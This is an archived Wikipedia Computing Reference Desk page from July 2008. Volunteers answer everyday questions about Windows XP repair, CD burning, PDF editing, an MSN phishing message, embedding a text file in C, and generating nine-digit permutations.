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July 9

Video Editing

What's a program I could use to mute/delete the audio track on a video and replace it with a different audio track?

(Windows Movie Maker is not working--it lets me add the new audio track but won't let me mute the old one--the old track doesn't even show up on the screen for editing, as if it weren't there, yet when the video plays you can clearly hear that it is still there. T_T It's very frustrating.)

Note: the video file in question is a WMV.

Thanks in advance. 71.174.16.91 (talk) 02:05, 9 July 2008 (UTC)HiouSama

You could try Ulead VideoStudio ... Sandman30s (talk) 12:39, 9 July 2008 (UTC)

It's been a while since I've used WMM, but I believe that somewhere there is a fader you can adjust so that you only hear your audio track. It's like a tab with video audio on one side and user audio on the other and you can drag it to either side. Somewhere in the menu options, I think. Someoneinmyheadbutit'snotme (talk) 14:42, 9 July 2008 (UTC)

Someoneinmyheadbutit'snotme's above comment is correct - the audio track for your video does not show up in WMM, but you can adjust the crossfader between it and your added music by clicking the little speaker button to the left of the timeline. =] Pretzels^chatters 16:32, 15 July 2008 (UTC)

Reparing Windows XP quick and dirty

I have a laptop without Cd-rom (or similar devices) and my Windows XP professional was not letting me login. I have taken the HDD from the laptop and builded it as a external HDD to access and backup my data. I have also Windows XP on my desktop.

Q: if I take the dll from this desktop installation and copy them into the HDD, would my laptop boot up again? —Preceding unsigned comment added by 83.34.84.53 (talk) 08:36, 9 July 2008 (UTC)

You can try, but it would be very unlikely that copying a few DLLs will fix your problem. If you can't login, it is likely a password problem. Put the drive back in your laptop and use one of the many password changing CDs to change the password on the XP machine. Then, log back in. -- kainaw™ 11:12, 9 July 2008 (UTC)

Well, I don't have a cd-rom on my laptop and I cannot login into windows. How could I follow your advise?

USB... PCMCIA... surely the laptop has SOME sort of external adapter. If not, it isn't much of a laptop. -- kainaw™ 18:04, 9 July 2008 (UTC)

Scandisk

Hi everyone! What free software do Wikipedians recommend checking a hard drive for errors, similar to Windows Scandisk? It would be an bonus if it has a graphical display similar to DOS scandisk which shows the disk clusters. I am on Windows pc. 86.159.56.251 (talk) 10:04, 9 July 2008 (UTC)

TuneUp Utilities has a graphical defragmenter but you would have to register it after some time. I wouldn't recommend a 'free' utility that does this (if one exists), as running buggy software over critical areas of your computer could spell big trouble. Sandman30s (talk) 12:51, 9 July 2008 (UTC)

The best alternative to Scandisk I've used is Disk Checker. No graphical display but has a nice info screen with basic information, scan speed and an error log. Don't use it on drives over 750GB though as it has a tendency to freeze, at least in my experience. JessicaN10248 14:31, 9 July 2008 (UTC)

The Games Factory

Games made using The Games Factory are working buggy for me. After a few minutes of play, the sounds become repetitive, and the game slows down when I do not press a key. I know this has nothing to do with being on Windows XP, because these programs worked perfectly on another XP computer I used to have. What is causing this bug? 208.76.245.162 (talk) 11:18, 9 July 2008 (UTC)

You might get a better answer on the official Games Factory technical support forum, since they're probably extremely familiar with the product over there. -- Captain Disdain (talk) 11:43, 9 July 2008 (UTC)

Free bin/cue CD burner??

Hello. I've been looking for a free program (for Windows XP) that will let me record .bin/.cue files onto a CD for hours now, but I've only been able to find a bunch of demos that limit the file size, or only do test burning!! Could someone please point me to a nice freeware CD burning program for BIN/CUE files, please? (The test time in my comp for Alcohol 120 expired long ago.) Thanks in advance, Kreachure (talk) 15:21, 9 July 2008 (UTC)

InfraRecorder -- Finlay McWalter | Talk 15:24, 9 July 2008 (UTC)

CDBurnerXP --—— Gadget850 (Ed) ^talk - 15:26, 9 July 2008 (UTC)

Thanks. Silly me, had I looked at the CD burning software freeware list first, I wouldn't be here wasting your time... >.< Kreachure (talk) 15:30, 9 July 2008 (UTC)

Modifying PDFs?

As part of my work, I've been creating PDFs with Acrobat Professional 7.0: mostly images from a scanner, but also converting Microsoft Word files into PDFs. I've discovered typos in an unrelated PDF, also made from a Microsoft Word file, and I've been given permission to correct these. Is there any way to modify the text in the PDF, or do I have to edit the Word file (which thankfully I have) and make a new PDF from it? Nyttend backup (talk) 15:47, 9 July 2008 (UTC)

The reason I ask is that this PDF is eight hundred pages long. I've already been encountering errors in much smaller documents, which I've simply corrected in the Word originals and recreated as PDFs. Nyttend backup (talk) 15:58, 9 July 2008 (UTC)

Adobe Acrobat Professional can edit PDFs with difficulty. In this case, you'd go to View --> Toolbars --> Advanced editing, then click the TouchUp Text Tool button.--Hello. I'm new here, but I'm sure I can help out. (talk) 17:36, 9 July 2008 (UTC)

Okay, I was able to add to the text. One problem, though: the paragraph is justified, but by adding the missing letters (the typos are "ten" for "then" and "Green County, Ohio" for "Greene County, Ohio") each fixed line juts out into the margin a little. Is there anything I can do about this? Nyttend backup (talk) 18:32, 9 July 2008 (UTC)

It's hard to say without looking at the PDF. Try this: select the text on the line with the TouchUp Tool, right-click on it, select Properties, and then change the horizontal spacing. They're using spacing -- not hyphenation -- for justification, right? If each line is an object, then you can also select a line using the TouchUp Object Tool on the same toolbar. It's either that or opening the PDF in Adobe Illustrator. If you're a masochist, you can also decompress the PDF using pdftk and manually edit the Post Script in Wordpad. By the way, Wikipedia lets you upload PDFs to the site. It treats them as images. ;)--Hello. I'm new here, but I'm sure I can help out. (talk) 19:13, 9 July 2008 (UTC)

The PDF (posted online three years ago; if I can fix it, I'll submit the new version to be posted online in its place) is here (a little under 12 MB): p.331, line 7 ("ten") and p.511, the lines directly under the CAPITALISED NAMES. I'll try your suggestions when I finish the task from which I'm taking a little break. Nyttend backup (talk) 20:01, 9 July 2008 (UTC)

Fixing the PDF sounds tedious, and 12 megabytes is not a very large file. Why not just fix the Word document and regenerate the entire PDF? Notice that there is a 'List of errors' at the end of the existing file. If you decide to regenerate the PDF, you could fix all those errors at the same time. EdJohnston (talk) 21:41, 9 July 2008 (UTC)

It isn't tedious. I just fixed the spelling error and the alignment Nyttend cited in both Acrobat and Illustrator. Although PDFs are not supposed to be edited, I think it can be done easily in this case since no dramatic changes are being made. In Acrobat, you select part of the text on the line, right-click on it, choose Properties and then Character spacing. It was justified to begin with by varying the spacing between characters and words (the tracking) from line to line. So each line already has different spacing. However, the solution I propose is admittedly somewhat crude as it varies spacing for only part of the line. Nevertheless, readers will not notice any difference. This is one reason that I dislike justfication (aside from poor legibility). The process works much better in Illustrator. In that application, you do the following:

1. Open the PDF
2. Choose the page
3. Select the Type Tool in the Tools Palette to the left
4. Make the correction
5. Select the entire line of text in question
6. Click on the Character link toward the top of the screen
7. Change the tracking value (the AZ with the double-pointed arrow beneath)

Although Illustrator is an expensive application, you can download a free 30-day trial from Adobe.com.--Hello. I'm new here, but I'm sure I can help out. (talk) 04:04, 10 July 2008 (UTC)

I ended up modifying the text how I wanted it to look: not by Character Spacing, but by Word Spacing on the spacebars between words (highlighting and modifying just them, not the words), so as you (Hello etc.) noted, it doesn't look any different, even to me. In case you wonder, I knew about the list of errors: I'm the one who put together the project, and the list of errors was my way of tracking changes from the original text (if you look at other errors noted there, you'll see that the main text has them correct); it's just that when I produced this revised edition of the original book, I forgot to change "Green" in these spots. As far as "ten" (actually PDF 337; it's original page 331), the original book says "then"; it's simply that when I typed this section, I missed the letter, and my proofreader didn't catch it. Just got to wonder how many other such errors there are like this...Thanks for your help! Nyttend backup (talk) 17:33, 10 July 2008 (UTC)

GIMP layer stacking

Hi. Please see here, I'm asking on how to combine and stack two images together, one is an object and the other is just filled with a specific colour. Thanks. ~AH1^(TCU) 17:04, 9 July 2008 (UTC)

I assume that you have multiple layers and, with all on, you see the image just as you like it in the edit window. If so, go to the layers menu and select "merge visible layers". It will merge all visible layers into one layer. -- kainaw™ 18:07, 9 July 2008 (UTC)

Copy my response over from User_talk:The Transhumanist#GIMP_Globe_stand

You can do it by having a layer of solid gold on top of the original, and change the mode to colour instead of normal. There are also other possibilities like if you want to preserve more of the colour of the original and only add a tinge of gold you can change the mode to soft light.

--antilived^{T | C | G} 00:17, 10 July 2008 (UTC)

junk email

i am responsible for putting junk in email. Who am i ?Please help with this question. Which is the origin of junk in email. —Preceding unsigned comment added by 196.202.195.74 (talk) 17:23, 9 July 2008 (UTC)

you are Satan. Gzuckier (talk) 17:42, 9 July 2008 (UTC)

My, I always thought Satan was supposed to do more than just create a minor annoyance of modern life. I guess he's probably behind telemarketing as well! --98.217.8.46 (talk) 18:11, 9 July 2008 (UTC)

See Spam_(electronic)#Pre-Internet_spam. -- kainaw™ 18:09, 9 July 2008 (UTC)

Gary Thuerk. --98.217.8.46 (talk) 18:13, 9 July 2008 (UTC)

You're not Vardan Vardanovich Kushnir. And now you know what happens if people find out who spammers are... --Con^structor 00:06, 13 July 2008 (UTC)

linksys befvp41 mystery switch

hi i just inherited a linksys befvp41 router and downloaded the documentation, but there's a little slide switch on the back which isn't mentioned in the docs. it's got what appears to be an X on one side and parallel lines on the other, or else an X on one side and an H on the other (the marks are really teeny). any idea what it is for? thanks. Gzuckier (talk) 17:49, 9 July 2008 (UTC)

It is a MDI/MDIX switch for one of the ports (probably the port nearest the switch). --Juliano (T) 17:52, 9 July 2008 (UTC)

Installing Windows Xp in a laptop without cd-rom

I have the Windows XP install CD and a desktop computer with Windows XP and a CD-rom device. I want to install Windows XP into a laptop without CD-rom. I have taken the HDD apart and connected it to the desktop as an external HDD.

Should I just copy the Windows XP files onto the HDD and put the HDD back in the laptop? —Preceding unsigned comment added by 88.6.158.156 (talk) 17:55, 9 July 2008 (UTC)

As far as I know, In a CD there is a specific boot sector, so everything should be in place to be booted. In the case of your laptop, your BIOS would look at the file boot.ini and try to boot. So, if you have the boot.ini, yes probably you'll be able to boot. I don't know yet, if you can install Windows this way. —Preceding unsigned comment added by Mr.K. (talk • contribs) 18:05, 9 July 2008 (UTC)

It is not true that the bios will look for a boot.ini file. Any disk you intend to boot from will require a Boot sector. APL (talk) 18:44, 9 July 2008 (UTC)

This will not work. You must connect a CD drive to the laptop and install from the CD there. -- kainaw™ 18:11, 9 July 2008 (UTC)

There is an alternative, supposing that you have already have Windows XP installed on your laptop and something went wrong(I suppose that, because probably you will not have done this to a new laptop). You could try to repair your old Windows installation with sfc /scannow

and the install CD and then put the HDD back to the laptop. —Preceding unsigned comment added by Mr.K. (talk • contribs) 18:16, 9 July 2008 (UTC)

Yeah, you really should use a real cd-drive for this. Either get a hold of a usb-cd drive of some sort, or take the HDD, connect it to a computer that does have a cd drive, and install windows on the HDD from there, then plug it back into the laptop. --Oskar 21:03, 9 July 2008 (UTC)

The problem with installing it with the drive in another computer is that laptops often require strange drivers. They won't be installed if the drive is not in the laptop. So, he'll get Windows on the drive, put it in his laptop, and find out that something like the keyboard or video driver is missing and then come back asking what to do. -- kainaw™ 22:31, 9 July 2008 (UTC)

Doesn't the Windows XP installer cache everything in the hard disk for installation? If yes, then can the OP use a disk imaging software to load the disk image on the hard disk and then work with it? Kushal (talk) 22:44, 9 July 2008 (UTC)

I'm not 100% sure but wouldn't putting the harddrive into another computer, complete the first phase of the XP install (text-mode), shut down, put it back into the laptop, and continue the GUI installation process solve the problem, provided that the laptop doesn't require some strange text-mode drivers? --antilived^{T | C | G} 00:24, 10 July 2008 (UTC)

I believe you should go with your plan of installing windows XP on the external HDD then putting it back into the laptop. Although, as Kainaw pointed, laptop need special drivers, standard drivers will be enough to make it run. When you get it running use a virtual cd player to use your windows installation cd and install it properly. —Preceding unsigned comment added by Mr.K. (talk • contribs) 12:56, 10 July 2008 (UTC)

Outlook names / contacts.

People of the internet,

I am currently using outlook 2003 SP1

I cannot edit the way peoples names come up. Example: I want John Doe to be Doe, John. How would i set this up?

Thank you. —Preceding unsigned comment added by 66.184.16.34 (talk) 18:35, 9 July 2008 (UTC)

Under Tools, Options, Preferences click on Contact Options. In there you can change the default name order. Sandman30s (talk) 13:19, 10 July 2008 (UTC)

How to embed text file in a C program

I am modifying a piece of code written by another programmer and I want to have a text file, that is read at execution, embedded in the program itself. (This is to help hide this text file from prying eyes.) The text file is read into a fairly complicated struct and instead of hardcoding that struct, is there a way I can put this input text file into the C code itself so that it is inputted without being a separate text file from the executable? --Rajah (talk) 21:23, 9 July 2008 (UTC)

A common way is to have a script in your build process turn the text file (or indeed a binary file) into a C string literal and emit that as a .h file. Then your C program #includes that .h and initialises a const or variable with it. That script has to escape newlines, quotes, and nonprintable characters in the C manner. But really, this goes very little toward your goal of hiding the file - it's still trivial for anyone with a modicum of technical skill to extract that text. -- Finlay McWalter | Talk 21:48, 9 July 2008 (UTC)

If the parser first reads the whole file in a buffer, that is sufficient. It is however more likely that the parser makes a lot of small reads. In this case, you need a string stream. That is, a stream that presents a normal file descriptor interface but reads from a string. An example is the fmemopen function in gnu libc. Turiacus (talk) 23:57, 9 July 2008 (UTC)

(Aside from the fact that, as it stands, it doesn't ROT13 the text or do anything else to hide it) is there a reason why the obvious approach doesn't work?

#include <stdio.h>

char * my_string =
  "This is a bunch of text.\n"
  "\n"
  "The C language standard assures us that all these strings\n"
  "will be concatenated at compile time into one big string\n"
  "that can be referenced by the my_string pointer.\n";
  "\n"
  "You could do anything else you want with the string\n"
  "including incorporating it into some more-complex struct.\n"

int main( int argc, char * argv[], char * envp[] )
  {

    printf( "%s", my_string );

    return( 0 );

  }

Atlant (talk) 19:55, 10 July 2008 (UTC)

I suggest you leave it as an external file and encode it instead. The simplest encoding is just to apply an offset to the ASCII codes of the characters, say add 93 to the ASCII code of each character read from the file and subtract 256 if the result is 256 or more. Any codebreaker would have no trouble breaking such a code, so you can always get fancier if you want real security. StuRat (talk) 00:26, 10 July 2008 (UTC)

The Allegro game programming library has a datafile format which can be appended to the end of the executable file (they have some tools for this). It also includes some simple encryption. --h2g2bob (talk) 01:01, 13 July 2008 (UTC)

Ignoring floating-point underflow in Excel

I have some data in Microsoft Excel which happens to contain very small numbers (~10⁻³²⁴), and Excel keeps giving me errors that must be floating-point underflow. I don't care about the underflow and don't care if these numbers get rounded to zero; it doesn't matter for my application. How can I tell Excel to ignore the underflow and round to zero without causing errors? —Keenan Pepper 22:14, 9 July 2008 (UTC)

You could use the TRUNC function on some of the values before the calculations. I'm sure there is more than one way to do it. Just be careful about round-off error. --Bennybp (talk) 00:58, 10 July 2008 (UTC)

TI-84

I am looking to connect my TI-84 with my 64-bit Vista Home Premium and I seem to be lacking drivers, does anybody have some?--omnipotence407 (talk) 22:17, 9 July 2008 (UTC)

Well, in case anybody is interested, per TI support

Currently, Texas Instruments does not support the use of TI Connect on Windows® XP Professional or Vista x64 Edition (64 bit) systems. Texas Instruments does not produce a 64-bit driver for these versions of Windows®, so while the software may work, communication will not be possible.

--omnipotence407 (talk) 02:43, 15 July 2008 (UTC)

Maybe you could try this: http://lpg.ticalc.org/prj_tilp

July 10

How does one save two versions of a file in VB.NET

I'm trying to save two copies of a file in a VB.NET program - one version with extra formatting, the other version "raw" to make it easier for the program to read it.

Here's the gist of my code so far:

Dim ImportantFunction As System.IO.StreamWriter
Dim Save As New SaveFileDialog()
Save.Filter = "Plain Text Files (*.txt)|*.txt|All files 
 (*.*)|*.*"
Save.CheckPathExists = True
Save.Title = "Save"
Save.ShowDialog(Me)

 Try
  ImportantFunction = System.IO.File.CreateText(Save.FileName)
  ImportantFunction.WriteLine()
  ImportantFunction.WriteLine(TextBox1.Text)
 End Try

I want to save a second version of this file at the same time, using the same filename that the user inputted earlier, but with a different extension. So, for instance, if the user saves the file as "foo.txt", the program would also save a slightly different version (without the extra linebreaks, for instance) in "foo.sav". --Badger Drink (talk) 00:41, 10 July 2008 (UTC)

After you show the dialog, the filename that the user selected is going to be saved in Save.Filename or something like that. Just grab that as a string, remove the extension (easy to do with string manipulation, just clean off all text after the last period), add on the new one, then plug that into your function.

Or maybe I don't understand the question? I'll avoid questioning the wisdom of saving two different copies of the same file, even though it sounds like bad programming practices at play to me. --98.217.8.46 (talk) 02:46, 10 July 2008 (UTC)

Oh, it's most assuredly terrible programming practices, but as this program is only for my own personal use, I would much rather do things the way I'm most comfortable with =) In this case, I want to have one file with formatting and section breaks, and one file that's basically a step up from a CSV, which will make Open.File a lot easier (I loathe string manipulation). Having separate dialogs for "save .txt" and "save .dat" is cumbersome. --Badger Drink (talk) 03:57, 10 July 2008 (UTC)

Well, keeping in your comfort zone is no way to learn... and string manipulation is pretty vital and worth getting "comfortable" with... and having the same file split into two parts is a recipe for screwing something up, but anyway... --98.217.8.46 (talk) 12:48, 10 July 2008 (UTC)

If you give a man a fish, he'll be fed for a day. If you teach a man to fish, he'll be fed for life. If you insist that the man row his boat to a certain set of GPS coordinates, throw the rod in a precise 254-degree arc, and reel in with a 5/4 6/8 alternating rhythm, you're acting like a computer programmer. --Badger Drink (talk) 17:44, 10 July 2008 (UTC)

I'm no full time computer programmer, and I recognize fully well the value of tailoring your work to your particular situation, but we're talking about simple string manipulation here, not regexes. What you're suggesting is just a bad path to go down—in the end I think it'll lead to more work than just doing it the "right" way the first time. The reason one adopts good programming habits is not because of some sacred law about it, but because they don't lead to as many bugs and problems as bad practices too. But hey man, it's your time—spend it how you like! I'm just trying to help out. --140.247.249.99 (talk) 17:55, 10 July 2008 (UTC)

Searching for URLs

Hey everyone. Is it possible to search for URLs that are linked to from a webpage? What I mean is something similar to how I can search for a piece of text on a webpage by hitting ctrl+f and typing in the text I'm looking for, but instead typing in a URL, or part of a URL, and seeing if it is linked to somewhere on the page. Hammer Raccoon (talk) 09:08, 10 July 2008 (UTC)

I can't find any way to do exactly what you're asking, but you could open the source and hit ctrl+f to search within that. Hit Ctrl+u in Firefox or go to View > Source in Internet Explorer. — Matt Eason ^{(Talk &#149; Contribs)} 10:39, 10 July 2008 (UTC)

That's great, thanks! Hammer Raccoon (talk) 19:07, 10 July 2008 (UTC)

YouTube

What is the shortest lifespan of a YouTube account? I kept mine for just five days. 208.76.245.162 (talk) 10:04, 10 July 2008 (UTC)

I had mine for about 30secs, watched a video and then forgot the password.. does that count? Is it possible to be banned?87.102.86.73 (talk) 10:32, 10 July 2008 (UTC)

How do you define the end of the lifespan of a YouTube account? Just because you don't use the account doesn't mean it doesn't exist. It is still there and, for some strange reason, you may decide to use it again in the future. Do you then refer to it as a born again account? -- kainaw™ 13:02, 10 July 2008 (UTC)

If you load porn onto your youtube Account it can be suspended just a few minutes after you created it, but it usually takes a few hours . Try this experiment. Search for pornography on youtube (if your over 18!). Make sure you select Relevance = Date added. You'll get the video's posted in the last few minutes. There's always someone putting porn on youtube so I guarantee a few will come up. Then try again a few hours later and those accounts have (usually) been disabled. They're quick. Iiidonkeyiii (talk) 13:12, 10 July 2008 (UTC)

ip & CCTV Camera

what advantages have IP cameras over CCTV

Hemant Kumar —Preceding unsigned comment added by 86.96.227.70 (talk) 10:20, 10 July 2008 (UTC)

If you consider it an advantage, you can view an IP camera from any Internet connection. This allows for surveillance from a remote location. It is merely opinion of this is an advantage or not. You are much better off asking what the differences are instead of advantages. -- kainaw™ 13:00, 10 July 2008 (UTC)

Hiding WHOIS info

Is there a free way to hide one's whois information? I am not asking legal advice! Thanks, --217.227.108.232 (talk) 12:58, 10 July 2008 (UTC)

Most registrars allow you to pay extra to have an anonymous whois entry. -- kainaw™ 13:00, 10 July 2008 (UTC)

yes, but in these case the owner of your registry is the registrar. —Preceding unsigned comment added by 87.220.40.59 (talk) 13:02, 10 July 2008 (UTC)

Me no wanna pay $12,99! Surely there is a free way? --217.227.108.232 (talk) 13:07, 10 July 2008 (UTC)

Just pony up the thirteen bucks. ICANN specifically requires the DNS-record to have an owner (with phone-numer and stuff), and if you want some one else to take over that responsibility, it's going to cost you. So no, I highly doubt that there is a free way. --Oskar 14:15, 10 July 2008 (UTC)

And, I'm guessing that if it comes down to the boys in blue knocking on the door with a warrant, you will no longer be anonymous. Gzuckier (talk) 14:59, 10 July 2008 (UTC)

But will you still be legion? --Badger Drink (talk) 17:47, 10 July 2008 (UTC)

Optical driver for laptops

Are all optical drivers for laptops compatible with each other? I mean, can I take one device (say a cd-rom reader) of an old laptop and connect it on a new one (and the other way round)? —Preceding unsigned comment added by 87.220.40.59 (talk) 13:01, 10 July 2008 (UTC)

Maybe I'm not understanding correctly, but yes, you can usually swap hardware no problem. The drivers might not be exactly the same but that's usually easy to remedy—you just find the appropriate driver and install it on the software side of things. With laptops the biggest problem is usually "does it fit the housing of the laptop", since space is very tight on new laptops. --98.217.8.46 (talk) 14:54, 10 July 2008 (UTC)

Well, and if I want to order one online, how can I discover what cd-rom reader or dvd burner fit my laptop? —Preceding unsigned comment added by 88.6.158.156 (talk) 16:23, 10 July 2008 (UTC)

I suppose you mean optical drive (and not driver). The drive may be in most cases the same, but the case may be different for every laptop. —Preceding unsigned comment added by Mr.K. (talk • contribs) 16:28, 10 July 2008 (UTC)

I would look up what your manufacturer offers, they'll surely fit. You don't have to buy the drive from said manufacturer, just get the make and model. --140.247.249.99 (talk) 17:53, 10 July 2008 (UTC)

Have laptops started to use SATA for their optical drives yet? If they have this is another potential problem. Nil Einne (talk) 13:45, 12 July 2008 (UTC)

Burning .nrg without Nero...?

Hi (again). I'm looking for free software (for WinXP) that might be able to burn a .nrg file but that's not Nero, does something like that exist? I looked at most of the programs listed on CD burning software, but I couldn't find any that mention the ability to do so. Or, do I need to convert it to an ISO in order to burn it without Nero? What would you recommend me to do? Thanks in advance, Kreachure (talk) 16:16, 10 July 2008 (UTC)

NRG (file format) lists some converters. -- Finlay McWalter | Talk 16:26, 10 July 2008 (UTC)

So do I need to convert it? Kreachure (talk) 16:36, 10 July 2008 (UTC)

You can use ImgBurn. It supports NRG images. --grawity 18:45, 10 July 2008 (UTC)

Thank you. Kreachure (talk) 19:20, 10 July 2008 (UTC)

Reverse Lookup on local network

I know that one requires access to the reverse lookup table in a dns server when trying to edit the reverse lookup of their ip address. But what about the reverse lookup in a lan environment (usually ip addresses in the range of 192.168.1.xxx)? the dns reverse lookup of these addresses is the name of the computer. What generates this? Is it some program on my computer or is it something else? can I add aliases? thanks --69.74.33.222 (talk) 16:38, 10 July 2008 (UTC)

Your local DNS server. Or /etc/hosts. Or a combination of both. The DNS server can fill the reverse zone with "dynamic updates" that the other machines send, if it trusts them not to lie about their names. --tcsetattr (talk / contribs) 20:09, 10 July 2008 (UTC)

With most Windows computers, it's actually the NetBIOS name that local ip addresses resolve to. The NetBIOS name service broadcasts the name of each computer to the rest of the computers on a network. The specific name is generated by the hostname of the computer. Although unrelated, you can add aliases to other computers by editing your hosts file. Indeterminate (talk) 23:50, 10 July 2008 (UTC)

Very possibly, it's phishing ...

I was on the MSN (client: Miranda IM). A friend of mine is on a trip. I did not see her online. "She" sends me a message "[HER MSN ID]"@imagrshak.info ". And I clicked it. The system requests your MSN account and password because the image album is reserved for "friends."

The domain name is suspicious. The request of login information is ... . I guess its phishing. I just have no idea how they managed to penetrate the MSN system. After all, M$ services are supposedly strong and properly protected, aren't they? -- Toytoy (talk) 16:41, 10 July 2008 (UTC)

It sounds like phishing, sure. But what kind of system penetration are we talking about here? Is it possible that she, for example, fell for this, and thus gave these guys her login info and, though that, access to her contact list, which in turn led them to you? I mean, just by pointing your browser to http://www.imagrshak.info, you can see that login screen; she could've run into it anywhere. (The name is a take on ImageShack, of course, which is a far more legitimate site.) They don't need to hack their way anywhere when a bit of simple social engineering will do. I'd bet it doesn't have anything to do with Microsoft's security. -- Captain Disdain (talk) 17:40, 10 July 2008 (UTC)

There actually have been automated phishing MSN bots. I've never had one myself, and the only times I've been on the receiving end of it were from ancient contacts I no longer spoke to, so that's about all the detail I can provide. --Badger Drink (talk) 17:49, 10 July 2008 (UTC)

Sure, but an automated MSN phishing bot wouldn't be able to log in with the poster's friend's account and send a message to him "from her" unless she either gave the malevolent party her login information or they managed to somehow make their way into the system and steal her login information. I think the first set of circumstances is the more likely one here. -- Captain Disdain (talk) 19:19, 10 July 2008 (UTC)

The OP was stating that the site was asking for login information. It's feasible that it uses said information to send more emails/IMs convincing yet more people to give away their information. This would be similar to the way plain IM worms work; though those convince people to download files rather than giving login information, the effect is the same. 24.76.161.28 (talk) 06:23, 12 July 2008 (UTC)

Uh, yeah, that's what I thought I was saying, actually. Agreed. -- Captain Disdain (talk) 09:22, 14 July 2008 (UTC)

The weakest links in any security system are not technical, but personal. Hook a million people up to the internet, ask each of them to enter their login information, and you'll probably get a decent return no matter how shady it is. --140.247.249.99 (talk) 17:50, 10 July 2008 (UTC)

It's a well-known scam - the reason it's not easy to find is because they use so many domains. [1] x42bn6 Talk Mess 21:26, 10 July 2008 (UTC)

Internet bot

I still have no knowledge how to identify a spam bot or other internet bot. How do I understand an IP edited wikis like wikipedia is a bot? Otolemur crassicaudatus (talk) 20:19, 10 July 2008 (UTC)

Bots on Wikipedia need to be preapproved to work outside their own homes (their own page and talk page). If a bot is operating as an unregistered user, it is very likely that it is an unauthorized bot. Do you have any particular incident in mind, Otolemur? Please let us know. Kushal (talk) 14:25, 11 July 2008 (UTC)

Efficient Programming

Resolved

 – StuRat (talk) 03:40, 12 July 2008 (UTC)

I don't know if this belongs in the Math section or here. But I am trying to write a program and at one point, I need to come up with all 9 digit numbers which all have unique digits. I need to write a loop over all such number. For example, if I was going over all 9 digit numbers, I would just start with n=1000000000, increment n by one, and then stop when n=999999999. But in this case, I want to start with something like n=123456789 and then skip over all the numbers until I get n=123456798 and so on. Since there are a lot of such numbers, the program will take forever to run. Is there any trick or some efficient programming I can use to generate such permutations?--A Real Kaiser (talk) 21:09, 10 July 2008 (UTC)

If you want speed, the usual solution is to use a lookup table instead of a calculation. I assume that you mean that you want a 9 digit number in which no single digit is repeated twice. So, 123456781 is invalid since the 1 is repeated twice. I also assume that 0 is a valid digit even though your examples don't clearly make that point. If so, there are 10×9×8×7×6×5×4×3×2=3628800 possible numbers. In most programming languages it takes 32 bits to store a 9-digit number. So, you need 3628800×32=116121600bits=13.8MB to store every possible combination. You run a long program once to fill your lookup file of every combination - in numerical order. Then, when given a start/end, you locate the starting number in the file and the ending number in the file and just print out all the numbers in between. -- kainaw™ 21:18, 10 July 2008 (UTC)

Sorry I didn't clarify before. Your assumptions are correct. Numbers like 123456781 are invalid and numbers like 987654321 are valid because no digit repeats twice. All nine digits are distinct. And zero is not allowed to be an integer so something like 103456789 is also invalid. So taking your advice, if I was to write a mini program, which would generate all such numbers and then write them in a (text) file, the original question remains. How can such numbers be generated systematically so that no numbers are skipped? For my purposes, the numbers don't have to be in order but I need to list ALL such numbers between (and including) 123456789 and 987654321 which do not repeat any digits and do not contain the digit zero. But I am guessing that going in order is perhaps the easiest. So the question is how to generate all possible permutations of 123456789? Once, I have written all the numbers in a file, I can then read off the file and go down the list.--A Real Kaiser (talk) 21:55, 10 July 2008 (UTC)

There are numerous methods - you could just loop from 1 to 999999999 (or from 123456789 to 987654321) and check each number in turn for validity.

Alternatively you could write a loop for each digit.

eg

a$="1234567890" comment I've assumed that a$(1)="1" a$(2)="2" etc

b$=""

for a1=1 to 9

b$=b$+a$(a1): a$=left$(a$,a1-1) + right$(a$,a1+1) here a$ has the used digit removed replace left$ and right$ functions with whatever is applicable

for a2=1 to 8

b$=b$+a$(a2): a$=left$(a$,a2-1) + right$(a$,a2+1)

for a3=1 to 7

b$=b$+a$(a3): a$=left$(a$,a3-1) + right$(a$,a3+1)

for a4=1 to 6

b$=b$+a$(a4): a$=left$(a$,a4-1) + right$(a$,a4+1)

for a5=1 to 5

b$=b$+a$(a5): a$=left$(a$,a5-1) + right$(a$,a5+1)

for a6=1 to 4

b$=b$+a$(a6): a$=left$(a$,a6-1) + right$(a$,a6+1)

for a7=1 to 3

b$=b$+a$(a7): a$=left$(a$,a7-1) + right$(a$,a7+1)

for a8=1 to 2

b$=b$+a$(a8): a$=left$(a$,a8-1) + right$(a$,a8+1)

b$=b$+a$(1)

Print b$

a$="123456789" :b$=""

next a2 :next a3 :next a4 :next a5 :next a6 :next a7 :next a8 :next a9 : end

There are more complex solutions that can deal with more or less digits, or even different bases. Did the above example make sense?87.102.86.73 (talk) 22:44, 10 July 2008 (UTC) The above example is not perfect (I'll leave it to you to see how) but it should give you an idea of how to write a program that rapidly skips whole sets of numbers without going through the thousands in between...87.102.86.73 (talk) 22:49, 10 July 2008 (UTC)

I once worked out a simple recursive way of doing this in Visual Basic (or more specifically Visual Basic for Applications in Excel). I posted it to an Excel newsgroup: see the posting here. The basic idea is (in your case) to start with the set {1,2,3,4,5,6,7,8,9}, and then for each element generate the set of permutations of the smaller set obtained by removing the element, and prefix each of these permutations with the element. AndrewWTaylor (talk) 22:32, 10 July 2008 (UTC)

That's a classic way to generate permutations, but there are other ways to do it, see Permutation#Numbering permutations. --Oskar 02:42, 11 July 2008 (UTC)

How about this (forgive me if this is the same as another method mentioned):

NB_FOUND = 0
DO A = 1 TO 9
 DO B = 1 TO 9
  IF (A≠B) THEN
   DO C = 1 TO 9
    IF (A≠C)&(B≠C) THEN
     DO D = 1 TO 9
      IF (A≠D)&(B≠D)&(C≠D) THEN
       DO E = 1 TO 9
        IF (A≠E)&(B≠E)&(C≠E)&(D≠E) THEN
         DO F = 1 TO 9
          IF (A≠F)&(B≠F)&(C≠F)&(D≠F)&(E≠F) THEN
           DO G = 1 TO 9
            IF (A≠G)&(B≠G)&(C≠G)&(D≠G)&(E≠G)&(F≠G) THEN
             DO H = 1 TO 9
              IF (A≠H)&(B≠H)&(C≠H)&(D≠H)&(E≠H)&(F≠H)&(G≠H) THEN
               DO I = 1 TO 9
                IF (A≠I)&(B≠I)&(C≠I)&(D≠I)&(E≠I)&(F≠I)&(G≠I)&(H≠I) THEN
                 NB_FOUND = NB_FOUND + 1
                 ARRAY(NB_FOUND) = 100000000*A 
                                 + 10000000*B
                                 + 1000000*C 
                                 + 100000*D 
                                 + 10000*E 
                                 + 1000*F 
                                 + 100*G 
                                 + 10*H 
                                 +   I
                ENDIF
               ENDDO
              ENDIF
             ENDDO
            ENDIF
           ENDDO
          ENDIF
         ENDDO
        ENDIF
       ENDDO
      ENDIF
     ENDDO
    ENDIF
   ENDDO
  ENDIF
 ENDDO
ENDDO

